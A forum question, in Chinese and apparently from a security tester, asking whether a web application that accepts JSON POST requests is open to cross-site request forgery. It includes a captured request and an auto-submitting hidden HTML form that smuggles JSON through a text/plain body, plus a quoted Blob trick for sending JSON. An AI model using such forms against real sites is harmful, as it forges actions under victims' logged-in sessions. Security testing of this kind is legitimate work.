我正在测试通过发送 JSON 请求来完成业务操作的 Web 应用程序,例如:
POST /dataRequest HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Content-Type: application/json; charset=utf-8
Content-Length: 99
Cookie: SESSIONID=7jtyutuytu1a
Connection: close
{"F":"test.AppRequestFactory","I":[{"O":"5vhghgjhgjE0="}]}
我制作了这样的 HTML 自动提交页面
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id="xsrf" action="https://test.com/dataRequest" method=post enctype="text/plain">
<input name='{"F":"test.AppRequestFactory","I":[{"O":""O":"5vhghgjhgjE0' value='"}]}' type='hidden'>
</form>
</body>
</html>
问题是它将与标头一起发送Content-Type: text/plain
,但服务器只接受Content-Type: application/json; charset=utf-8
。
我已经阅读了带有 JSON POST 的 CSRF讨论, 其中一条评论指出:
使用这样的东西:
var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'});
生成一个 JSON blob,它会完美发送。CSRF 在几秒钟内!
但我不知道如何使用这种方法。
这个应用程序是否容易受到 CSRF 攻击?